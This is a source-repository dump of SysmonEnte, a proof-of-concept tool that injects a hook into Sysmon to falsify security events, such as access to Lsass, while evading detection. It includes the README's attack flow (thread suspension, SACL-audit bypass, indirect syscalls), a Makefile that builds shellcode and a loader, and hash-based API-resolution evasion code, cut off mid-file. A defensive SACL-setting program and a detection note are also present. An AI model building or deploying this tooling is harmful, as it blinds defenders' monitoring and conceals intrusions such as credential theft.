├── DISCLAIMER.md ├── Makefile ├── Readme.md ├── SACLProtect ├── SACLProtect.sln └── SACLProtect │ ├── Processenumeration.c │ ├── SACLProtect.vcxproj │ ├── SACLProtect.vcxproj.filters │ ├── SACLProtect.vcxproj.user │ ├── Source.c │ └── Tokenprivileges.c ├── bin └── .gitkeep ├── helpers └── convertToHex.py ├── screens └── 1.png └── src ├── EntenLoader ├── EntenLoader.cpp └── SysmonEnte.h.prefix ├── Kueken ├── adjuststack.asm ├── apidef.h ├── apiresolve.c ├── apiresolve.h ├── chkstk.asm ├── events.h ├── hashes.h ├── includes.h ├── main.c └── peb.h └── SysmonEnte ├── adjuststack.asm ├── apidef.h ├── apiresolve.c ├── apiresolve.h ├── chkstk.asm ├── common.h ├── gatetrampolin.asm ├── hashes.h ├── includes.h ├── injection.c ├── injection.h ├── kueken.h.prefix ├── linker.ld ├── main.c ├── misc.c ├── misc.h ├── peb.h ├── recycledgate.c ├── recycledgate.h ├── threads.c ├── threads.h ├── token.c └── token.h /DISCLAIMER.md: -------------------------------------------------------------------------------- 1 | ### DISCLAIMER 2 | 3 | You expressly understand and agree that SysmonEnte (creators and contributors) shall not be liable for any damages or losses resulting from your use of this tool or third-party products that use it. 4 | 5 | Creators aren't in charge of any and have/has no responsibility for any kind of: 6 | 7 | * Unlawful or illegal use of the tool 8 | * Legal or Law infringement (acted in any country, state, municipality, place) by third parties and users 9 | * Act against ethical and / or human moral, ethic, and peoples and cultures of the world 10 | * Malicious act, capable of causing damage to third parties, promoted or distributed by third parties or the user through this tool 11 | 12 | ### Contact 13 | 14 | Feel free to contact info@code-white.com for any questions. 15 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC := x86_64-w64-mingw32-gcc 2 | CXX := x86_64-w64-mingw32-g++ 3 | LD := x86_64-w64-mingw32-ld 4 | CFLAGS := -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 5 | 6 | 7 | #SysmonEnte 8 | S_SRCSENTE := src/SysmonEnte/adjuststack.asm src/SysmonEnte/chkstk.asm src/SysmonEnte/gatetrampolin.asm 9 | C_SRCSENTE := src/SysmonEnte/apiresolve.c src/SysmonEnte/main.c src/SysmonEnte/injection.c src/SysmonEnte/misc.c src/SysmonEnte/recycledgate.c src/SysmonEnte/threads.c src/SysmonEnte/token.c 10 | OBJSENTE := $(patsubst src/SysmonEnte/%.asm,src/SysmonEnte/%.o,$(S_SRCSENTE)) $(patsubst src/SysmonEnte/%.c,src/SysmonEnte/%.o,$(C_SRCSENTE)) 11 | CCLDFLAGSENTE := -Wl,-Tsrc/SysmonEnte/linker.ld,--no-seh -DC2 12 | 13 | #Kueken 14 | S_SRCSKUEKEN := src/Kueken/adjuststack.asm src/Kueken/chkstk.asm 15 | C_SRCSKUEKEN := src/Kueken/apiresolve.c src/Kueken/main.c 16 | OBJSKUEKEN := $(patsubst src/Kueken/%.asm,src/Kueken/%.o,$(S_SRCSKUEKEN)) $(patsubst src/Kueken/%.c,src/Kueken/%.o,$(C_SRCSKUEKEN)) 17 | CCLDFLAGSKUEKEN := -Wl,-Tsrc/Kueken/linker.ld,--no-seh -DC2 18 | 19 | all: bin/Kueken.exe bin/Kueken.bin src/SysmonEnte/kueken.h bin/SysmonEnte.exe bin/SysmonEnte.bin bin/EntenLoader.exe 20 | 21 | bin/Kueken.exe: $(OBJSKUEKEN) 22 | $(LD) -s $^ -o $@ 23 | 24 | bin/Kueken.bin: bin/Kueken.exe 25 | objcopy -j .text -O binary $< $@ 26 | 27 | src/Kueken/%.o: src/Kueken/%.asm 28 | nasm -f win64 $< -o $@ 29 | 30 | src/Kueken/%.o: src/Kueken/%.c 31 | $(CC) $< $(CFLAGS) -c -o $@ $(CCLDFLAGSKUEKEN) 32 | 33 | bin/SysmonEnte.exe: $(OBJSENTE) 34 | $(LD) -s $^ -o $@ 35 | 36 | bin/SysmonEnte.bin: bin/SysmonEnte.exe 37 | objcopy -j .text -O binary $< $@ 38 | 39 | src/SysmonEnte/%.o: src/SysmonEnte/%.asm 40 | nasm -f win64 $< -o $@ 41 | 42 | src/SysmonEnte/%.o: src/SysmonEnte/%.c 43 | $(CC) $< $(CFLAGS) -c -o $@ $(CCLDFLAGSENTE) 44 | 45 | src/SysmonEnte/kueken.h: bin/Kueken.bin 46 | ( \ 47 | set -e; \ 48 | cat src/SysmonEnte/kueken.h.prefix; \ 49 | python3 helpers/convertToHex.py $< | xargs -i echo '{}';\ 50 | echo ';' \ 51 | ) > $@.t 52 | mv $@.t $@ 53 | 54 | src/EntenLoader/SysmonEnte.h: bin/SysmonEnte.bin 55 | ( \ 56 | set -e; \ 57 | cat src/EntenLoader/SysmonEnte.h.prefix; \ 58 | python3 helpers/convertToHex.py $< | xargs -i echo '{}';\ 59 | echo ';' \ 60 | ) > $@.t 61 | mv $@.t $@ 62 | 63 | bin/EntenLoader.exe: src/EntenLoader/EntenLoader.cpp src/EntenLoader/SysmonEnte.h 64 | $(CXX) -s -o $@ $< -municode 65 | rm bin/Kueken.exe bin/Kueken.bin bin/SysmonEnte.exe 66 | 67 | .PHONY: clean 68 | clean: 69 | rm -rf $(OBJSENTE) $(OBJSKUEKEN) \ 70 | bin/Kueken.exe bin/Kueken.bin bin/SysmonEnte.exe bin/SysmonEnte.bin src/EntenLoader/SysmonEnte.h bin/EntenLoader.exe src/SysmonEnte/kueken.h 71 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # SysmonEnte 2 | 3 | This is a POC attack on the integrity of Sysmon which emits a minimal amount of observable events even if a ```SACL``` is in place. 4 | To our understanding, this attack is difficult to detect in environments where no security sensors other than Sysmon or the Windows Event Log are in use. 5 | 6 | For more technical information on the attack and possible mitigations, please see [our blogpost](https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html). 7 | 8 | ## Motivation 9 | 10 | Multiple different attacks on Sysmon or the Event Log service exist. To the best of our knowledge, all of these are detectable using Sysmon or the Event Log itself: 11 | 12 | * Driver (Un)Loading. 13 | * Registry changes. 14 | * Process Access events. 15 | * Lack of events from certain hosts. 16 | * ... 17 | 18 | Motivated defenders can observe the corresponding events to identify attacks on Sysmon or the Event Log service. 19 | Our goal was to create an attack on Sysmon which is difficult to fingerprint as no suspicious events are emitted during the attack. 20 | 21 | ## Description 22 | 23 | Similarly to [SysmonQuiet](https://github.com/ScriptIdiot/SysmonQuiet) or [EvtMute](https://github.com/bats3c/EvtMute), the idea is to inject code into Sysmon which redirects the execution flow in such a way that events can be manipulated before being forwarded to the SIEM. 24 | 25 | However, during this attack, **no suspicious ProcessAccess events on Sysmon are observable via Sysmon or the Event Log** making the detection (supposedly) non trivial. 26 | 27 | The attack flow is as follows: 28 | 29 | * Suspend all threads of Sysmon. 30 | * Create a limited handle to Sysmon and elevate it by duplication. 31 | * Clone the pseudo handle of Sysmon to itself in order to bypass ```SACL``` as proposed by [James Forshaw](https://www.tiraniddo.dev/2017/10/bypassing-sacl-auditing-on-lsass.html). 32 | * Inject a hook manipulating all events (in particular ProcessAccess events on Sysmon). 33 | * Resume all threads. 34 | 35 | ![alt text](screens/1.png "Suspicious Process Access Event") 36 | 37 | ## Usage 38 | 39 | SysmonEnte is implemented as fully position independent code (PIC) which can be called using the following prototype: 40 | 41 | ```C 42 | DWORD go(DWORD dwPidSysmon); 43 | ``` 44 | 45 | A sample loader is included and built during compilation when typing ```make```. 46 | 47 | ``` 48 | .\EntenLoader.exe 49 | ``` 50 | 51 | Additionally, SysmonEnte uses [indirect syscalls](https://github.com/thefLink/RecycledGate) to bypass possible userland hooks. 52 | 53 | The open source variant tampers with process access events to Lsass and Sysmon and sets the access mask to a benign one. Additionally, the source user and the callstack is set to **Ente**. You can change these to your needs. 54 | 55 | ## Detections 56 | 57 | To our understanding, the ```SACL``` bypass by James Forshaw can be identified by configuring a ```SACL``` with ```PROCESS_DUP_HANDLE``` on Sysmon. ```Event 4656``` should then be emitted upon the instantiation of a handle allowing to clone other handles from Sysmon. 58 | 59 | However, configuring such a ```SACL``` using well known administration tools appears to be non trivial. A sample program to set such a ```SACL``` is included in the folder ```SACLProtect```. 60 | Note that ```Object Access Auditing``` is not enabled by default. 61 | 62 | ## References 63 | 64 | * Implementation by our [@testert01](https://twitter.com/testert01) and [@thefLinkk](https://twitter.com/thefLinkk) 65 | * [SysmonQuiet](https://github.com/ScriptIdiot/SysmonQuiet) by [Scriptidiot](https://twitter.com/5cript1diot) 66 | * [EvtMute](https://github.com/bats3c/EvtMute) by [Batsec](https://twitter.com/_batsec_) 67 | * [James Forshaw's SACL Bypass](https://www.tiraniddo.dev/2017/10/) 68 | 69 | ### Trivia 70 | 71 | Ente means duck in German. 72 | -------------------------------------------------------------------------------- /SACLProtect/SACLProtect.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.1.32210.238 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SACLProtect", "SACLProtect\SACLProtect.vcxproj", "{E2E959D5-63D9-4CE5-9710-AC791C1F7D33}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E2E959D5-63D9-4CE5-9710-AC791C1F7D33}.Debug|x64.ActiveCfg = Debug|x64 17 | {E2E959D5-63D9-4CE5-9710-AC791C1F7D33}.Debug|x64.Build.0 = Debug|x64 18 | {E2E959D5-63D9-4CE5-9710-AC791C1F7D33}.Debug|x86.ActiveCfg = Debug|Win32 19 | {E2E959D5-63D9-4CE5-9710-AC791C1F7D33}.Debug|x86.Build.0 = Debug|Win32 20 | {E2E959D5-63D9-4CE5-9710-AC791C1F7D33}.Release|x64.ActiveCfg = Release|x64 21 | {E2E959D5-63D9-4CE5-9710-AC791C1F7D33}.Release|x64.Build.0 = Release|x64 22 | {E2E959D5-63D9-4CE5-9710-AC791C1F7D33}.Release|x86.ActiveCfg = Release|Win32 23 | {E2E959D5-63D9-4CE5-9710-AC791C1F7D33}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {B54DAAA4-4745-4960-95AF-D5B06F76999C} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SACLProtect/SACLProtect/Processenumeration.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | //Get PID of process, return first occurence of the process name 6 | DWORD GetSysmonPid(wchar_t wstr_sysmon[]) { 7 | DWORD dwPid = 0; 8 | 9 | HANDLE hProcessSnap = NULL; 10 | PROCESSENTRY32 pe32 = { 0x00 }; 11 | 12 | 13 | printf("Trying to get the pid of: %ls\n", wstr_sysmon); 14 | 15 | hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 16 | 17 | if (hProcessSnap == INVALID_HANDLE_VALUE) 18 | { 19 | goto exit; 20 | } 21 | pe32.dwSize = sizeof(PROCESSENTRY32); 22 | 23 | if (!Process32First(hProcessSnap, &pe32)) 24 | { 25 | goto exit; 26 | } 27 | 28 | do { 29 | if (0 == lstrcmpW(wstr_sysmon, pe32.szExeFile)) { 30 | dwPid = pe32.th32ProcessID; 31 | break; 32 | } 33 | 34 | } while (Process32Next(hProcessSnap, &pe32)); 35 | 36 | 37 | exit: 38 | return dwPid; 39 | } -------------------------------------------------------------------------------- /SACLProtect/SACLProtect/SACLProtect.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {e2e959d5-63d9-4ce5-9710-ac791c1f7d33} 25 | SACLProtect 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | -------------------------------------------------------------------------------- /SACLProtect/SACLProtect/SACLProtect.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | -------------------------------------------------------------------------------- /SACLProtect/SACLProtect/SACLProtect.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /SACLProtect/SACLProtect/Source.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | DWORD GetSysmonPid(wchar_t sysmonname[]); 7 | BOOL SetPrivilege(LPWSTR lpwPriv); 8 | BOOL IsElevated(); 9 | 10 | 11 | #define FAIL 0 12 | #define SUCCESS 1 13 | 14 | DWORD main() { 15 | 16 | DWORD dwSuccess = FAIL; 17 | DWORD dwPid = 0; 18 | HANDLE hProcess = NULL; 19 | 20 | //Changeme if you want the SACL for a different process name 21 | wchar_t wstr_sysmon[] = L"Sysmon64.exe"; 22 | 23 | //Enable object access auditing on PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | ACCESS_SYSTEM_SECURITY for success 24 | ACCESS_MASK am_saclpermissions = PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | ACCESS_SYSTEM_SECURITY; 25 | 26 | EXPLICIT_ACCESS ea[1]; 27 | SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; 28 | 29 | PSID pEveryoneSID = NULL; 30 | PACL pACL = NULL; 31 | SE_OBJECT_TYPE objecttype = SE_KERNEL_OBJECT; 32 | SECURITY_INFORMATION securityInformation = SACL_SECURITY_INFORMATION; 33 | PISECURITY_DESCRIPTOR pSD = NULL; 34 | 35 | if (!IsElevated()) { 36 | dwSuccess = FAIL; 37 | printf("- You need elevated rights to set the SACL for Sysmon\n"); 38 | goto exit; 39 | } 40 | 41 | //Set the rights that are neeeded to set up the SACL 42 | //SeSecurity seems not to be required at least on win11 43 | 44 | SetPrivilege((LPWSTR)L"SeDebugPrivilege"); 45 | SetPrivilege((LPWSTR)L"SeSecurityPrivilege"); 46 | 47 | dwPid = GetSysmonPid(wstr_sysmon); 48 | if (dwPid == 0) { 49 | dwSuccess = FAIL; 50 | printf("- Could not get Sysmon PID, maybe you have a different Process Name or Sysmon is not running\n"); 51 | goto exit; 52 | } 53 | printf("+ Sysmon pid: %d\n", dwPid); 54 | 55 | 56 | //ACCESS_SYSTEM_SECURITY is required to set the SACL 57 | hProcess = OpenProcess(ACCESS_SYSTEM_SECURITY, FALSE, dwPid); 58 | if (hProcess == NULL) { 59 | dwSuccess = FAIL; 60 | printf("Could not open the Sysmon Process with the right to set the SACL\n"); 61 | goto exit; 62 | } 63 | 64 | 65 | 66 | if (!AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID)) { 67 | dwSuccess = FAIL; 68 | printf("- Could not Initialize SID Everyone\n"); 69 | goto exit; 70 | } 71 | 72 | //Setting SACL Audit Success 73 | ZeroMemory(&ea,sizeof(EXPLICIT_ACCESS)); 74 | ea[0].grfAccessPermissions = am_saclpermissions; 75 | ea[0].grfAccessMode = SET_AUDIT_SUCCESS; 76 | ea[0].grfInheritance = NO_INHERITANCE; 77 | ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID; 78 | ea[0].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; 79 | ea[0].Trustee.ptstrName = (LPTSTR)pEveryoneSID; 80 | 81 | 82 | dwSuccess = SetEntriesInAcl(1, ea, NULL, &pACL); 83 | if (ERROR_SUCCESS != dwSuccess){ 84 | printf("- Could not setup ACL\n"); 85 | dwSuccess = FAIL; 86 | goto exit; 87 | } 88 | 89 | 90 | dwSuccess = SetSecurityInfo(hProcess, objecttype, securityInformation, NULL, NULL, NULL, pACL); 91 | if (dwSuccess == 0) { 92 | printf("+ Successfully set the new SACL :)\n"); 93 | dwSuccess = SUCCESS; 94 | } 95 | else { 96 | printf("- Could not set the SACL :(\n"); 97 | dwSuccess = FAIL; 98 | goto exit; 99 | } 100 | 101 | 102 | exit: 103 | if (hProcess) 104 | CloseHandle(hProcess); 105 | 106 | return dwSuccess; 107 | 108 | } -------------------------------------------------------------------------------- /SACLProtect/SACLProtect/Tokenprivileges.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | 6 | //https://github.com/outflanknl/Dumpert/blob/master/Dumpert/Outflank-Dumpert/Dumpert.c Is Elevated() and SetPrivilege was stolen from here :). 7 | //Check if this process is elevated 8 | BOOL IsElevated() { 9 | BOOL fRet = FALSE; 10 | HANDLE hToken = NULL; 11 | if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { 12 | TOKEN_ELEVATION Elevation = { 0 }; 13 | DWORD cbSize = sizeof(TOKEN_ELEVATION); 14 | if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) { 15 | fRet = Elevation.TokenIsElevated; 16 | } 17 | } 18 | if (hToken) { 19 | CloseHandle(hToken); 20 | } 21 | return fRet; 22 | } 23 | 24 | 25 | //Sets the required privileges for the SACL modify 26 | BOOL SetPrivilege(LPWSTR lpwPriv) { 27 | HANDLE hToken = NULL; 28 | TOKEN_PRIVILEGES TokenPrivileges = { 0 }; 29 | 30 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { 31 | return FALSE; 32 | } 33 | 34 | TokenPrivileges.PrivilegeCount = 1; 35 | TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0; 36 | 37 | if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) { 38 | CloseHandle(hToken); 39 | return FALSE; 40 | } 41 | 42 | if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { 43 | CloseHandle(hToken); 44 | return FALSE; 45 | } 46 | 47 | CloseHandle(hToken); 48 | return TRUE; 49 | } -------------------------------------------------------------------------------- /bin/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /helpers/convertToHex.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | cHex = "" 4 | for b in open(sys.argv[1], "rb").read(): 5 | cHex += "0x" + hex(b)[2:] + "," 6 | 7 | cHex = cHex[:-1] 8 | 9 | chex = ("{" + cHex+ "}") 10 | 11 | print(chex) 12 | -------------------------------------------------------------------------------- /screens/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codewhitesec/SysmonEnte/fe267690fcc799fbda15398243615a30451d9099/screens/1.png -------------------------------------------------------------------------------- /src/EntenLoader/EntenLoader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "windows.h" 3 | 4 | #include "SysmonEnte.h" 5 | 6 | void help(wchar_t**); 7 | 8 | int wmain( int argc, wchar_t *argv[], wchar_t *envp[] ) { 9 | 10 | DWORD dwPid = 0; 11 | BOOL bSuccess = FALSE; 12 | 13 | if(argc < 2) 14 | help(argv); 15 | 16 | dwPid = _wtoi(argv[1]); 17 | 18 | bSuccess = ( ( GO* )SysmonEnte )( dwPid ); 19 | if(bSuccess == FALSE){ 20 | wprintf(L"- SysmonEnte Failed!: %d\n", bSuccess); 21 | } else { 22 | wprintf(L"+ SysmonEnte Succeeded!: %d\n", bSuccess); 23 | } 24 | 25 | 26 | 27 | return 0; 28 | 29 | } 30 | 31 | void 32 | help(wchar_t** argv) { 33 | 34 | wprintf(L"%ls \n", argv[0]); 35 | exit(0); 36 | 37 | } 38 | -------------------------------------------------------------------------------- /src/EntenLoader/SysmonEnte.h.prefix: -------------------------------------------------------------------------------- 1 | #include "windows.h" 2 | #include 3 | 4 | typedef DWORD(GO)(DWORD); 5 | __attribute__((section(".text"))) unsigned char SysmonEnte[] = 6 | 7 | -------------------------------------------------------------------------------- /src/Kueken/adjuststack.asm: -------------------------------------------------------------------------------- 1 | extern Hook_EtwEventWrite 2 | global alignstack 3 | 4 | segment .text 5 | 6 | alignstack: 7 | push rdi 8 | mov rdi, rsp 9 | and rsp, byte -0x10 10 | sub rsp, byte +0x20 11 | call Hook_EtwEventWrite 12 | mov rsp, rdi 13 | pop rdi 14 | ret 15 | 16 | -------------------------------------------------------------------------------- /src/Kueken/apidef.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef _APIDEF_H 3 | #define _APIDEF_H 4 | 5 | #include "windows.h" 6 | #include 7 | 8 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 9 | typedef int(WINAPI* LSTRLENA)(LPCSTR); 10 | typedef void(WINAPI* COPYMEMORY)(PVOID, void*, SIZE_T); 11 | 12 | typedef PCSTR(WINAPI* STRSTRA)(PCSTR, PCSTR); 13 | typedef PCWSTR(WINAPI* STRSTRW)(PCWSTR, PCWSTR); 14 | 15 | typedef ULONG(NTAPI* _EtwEventWriteFull)( 16 | REGHANDLE RegHandle, 17 | PCEVENT_DESCRIPTOR EventDescriptor, 18 | USHORT EventProperty, 19 | LPCGUID ActivityId, 20 | LPCGUID RelatedActivityId, 21 | ULONG UserDataCount, 22 | PEVENT_DATA_DESCRIPTOR UserData 23 | ); 24 | 25 | #endif -------------------------------------------------------------------------------- /src/Kueken/apiresolve.c: -------------------------------------------------------------------------------- 1 | #include "apiresolve.h" 2 | 3 | PVOID 4 | GetFunctionPtr(unsigned long crypted_dll_hash, unsigned long crypted_function_hash) { 5 | 6 | PVOID dll_base = 0x00; 7 | PVOID ptr_function = 0x00; 8 | 9 | dll_base = getDllBase(crypted_dll_hash); 10 | if (dll_base == 0) { 11 | dll_base = loadDll(crypted_dll_hash); 12 | if (dll_base == 0) 13 | return 0; 14 | } 15 | 16 | ptr_function = parseHdrForPtr(dll_base, crypted_function_hash); 17 | 18 | return ptr_function; 19 | 20 | } 21 | 22 | PVOID 23 | loadDll(unsigned long crypted_dll_hash) { 24 | 25 | PVOID pKernel32 = 0x00; 26 | PVOID pLoadLibrary = 0x00; 27 | PVOID pDllBase = 0x00; 28 | 29 | pKernel32 = getDllBase(H_LIB_KERNEL32); 30 | if (pKernel32 == NULL) 31 | return NULL; 32 | 33 | pLoadLibrary = parseHdrForPtr(pKernel32, H_API_LOADLIBRARYA); 34 | if (pLoadLibrary == NULL) 35 | return NULL; 36 | 37 | if (crypted_dll_hash == H_LIB_SHLWAPI) { 38 | char dll_name[] = { 'S', 'h', 'l', 'w', 'a', 'p', 'i', '.', 'd','l','l',0x00 }; 39 | pDllBase = (PVOID)((LOADLIBRARYA)pLoadLibrary)(dll_name); 40 | } 41 | 42 | return pDllBase; 43 | 44 | } 45 | 46 | PVOID 47 | loadDll_byName(PSTR dll_name) { 48 | 49 | PVOID pBaseKernel32 = NULL, pLoadLibrary = NULL, pLoadedDll = 0x00; 50 | 51 | pBaseKernel32 = getDllBase(H_LIB_KERNEL32); 52 | if (pBaseKernel32 == 0x00) 53 | return NULL; 54 | 55 | pLoadLibrary = parseHdrForPtr(pBaseKernel32, H_API_LOADLIBRARYA); 56 | if (pLoadLibrary == 0x00) 57 | return NULL; 58 | 59 | pLoadedDll = (PVOID)((LOADLIBRARYA)pLoadLibrary)(dll_name); 60 | 61 | return pLoadedDll; 62 | 63 | } 64 | 65 | 66 | PVOID 67 | parseHdrForPtr(PBYTE dll_base, unsigned long crypted_function_hash) { 68 | 69 | PIMAGE_NT_HEADERS ntHdrs = NULL; 70 | PIMAGE_DATA_DIRECTORY dataDir = NULL; 71 | PIMAGE_EXPORT_DIRECTORY exportDir = NULL; 72 | 73 | PDWORD pExportTable = NULL, pNamePointerTable = NULL; 74 | PWORD pOrdinalTable = NULL; 75 | DWORD idxFunctions = 0; 76 | 77 | LPSTR pFunctionName = NULL; 78 | 79 | ntHdrs = (PIMAGE_NT_HEADERS)(dll_base + ((PIMAGE_DOS_HEADER)(size_t)dll_base)->e_lfanew); 80 | dataDir = (PIMAGE_DATA_DIRECTORY)&ntHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 81 | exportDir = (PIMAGE_EXPORT_DIRECTORY)(dll_base + dataDir->VirtualAddress); 82 | 83 | pExportTable = (PDWORD)(dll_base + exportDir->AddressOfFunctions); 84 | pNamePointerTable = (PDWORD)(dll_base + exportDir->AddressOfNames); 85 | pOrdinalTable = (WORD*)(dll_base + exportDir->AddressOfNameOrdinals); 86 | 87 | for (idxFunctions = 0; idxFunctions < exportDir->NumberOfNames; idxFunctions++) { 88 | 89 | pFunctionName = (LPSTR)dll_base + (pNamePointerTable[idxFunctions]); 90 | if (djb2(pFunctionName) == xorHash(crypted_function_hash)) { 91 | 92 | WORD nameord = pOrdinalTable[idxFunctions]; 93 | DWORD rva = pExportTable[nameord]; 94 | 95 | if (dll_base + rva >= dll_base + dataDir->VirtualAddress && dll_base + rva <= dll_base + dataDir->VirtualAddress + dataDir->Size) { 96 | // This is a forwarded export 97 | PSTR pForward = (PSTR)(dll_base + rva); 98 | return followExport(pForward, crypted_function_hash); 99 | } 100 | 101 | 102 | return dll_base + rva; 103 | } 104 | 105 | } 106 | 107 | return 0; 108 | } 109 | 110 | PVOID followExport(char* ptr_forward, unsigned long crypted_function_hash) { 111 | 112 | STRSTRA _StrStrA = (STRSTRA)GetFunctionPtr(H_LIB_SHLWAPI, H_API_STRSTRA); 113 | 114 | if (_StrStrA == 0x00) 115 | return 0; 116 | 117 | char del[] = { '.', 0x00 }; 118 | char* pos_del = 0x00; 119 | char forward_dll[MAX_PATH] = { 0 }; 120 | char forward_export[MAX_PATH] = { 0 }; 121 | unsigned long forward_export_hash = 0x00; 122 | BYTE i = 0; 123 | PVOID fwd_dll_base = 0x00, forwarded_export = 0x00; 124 | 125 | while (*ptr_forward) 126 | forward_dll[i++] = *ptr_forward++; 127 | 128 | pos_del = (char*)_StrStrA(forward_dll, del); 129 | if (pos_del == 0) 130 | return 0; 131 | 132 | *(char*)(pos_del++) = 0x00; 133 | i = 0; 134 | while (*pos_del) 135 | forward_export[i++] = *pos_del++; 136 | 137 | forward_export_hash = xorHash(djb2((LPCSTR)forward_export)); 138 | 139 | fwd_dll_base = getDllBase(xorHash(djb2((LPCSTR)forward_dll))); 140 | if (fwd_dll_base == 0x00) { 141 | fwd_dll_base = loadDll_byName(forward_dll); 142 | if (fwd_dll_base == 0x00) 143 | return 0; 144 | } 145 | 146 | forwarded_export = parseHdrForPtr(fwd_dll_base, forward_export_hash); 147 | 148 | return forwarded_export; 149 | 150 | } 151 | 152 | 153 | 154 | PVOID 155 | getDllBase(unsigned long crypted_dll_hash) { 156 | 157 | PPEB pPeb = NULL; 158 | PPEB_LDR_DATA pLdrData = NULL; 159 | PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL, pStartModule = NULL; 160 | PUNICODE_STR dll_name = NULL; 161 | 162 | pPeb = (PPEB)__readgsqword(0x60); 163 | pLdrData = pPeb->pLdr; 164 | pModuleEntry = pStartModule = (PLDR_DATA_TABLE_ENTRY)pLdrData->InMemoryOrderModuleList.Flink; 165 | 166 | do { 167 | 168 | dll_name = &pModuleEntry->BaseDllName; 169 | 170 | if (dll_name->pBuffer == NULL) 171 | return 0; 172 | 173 | if 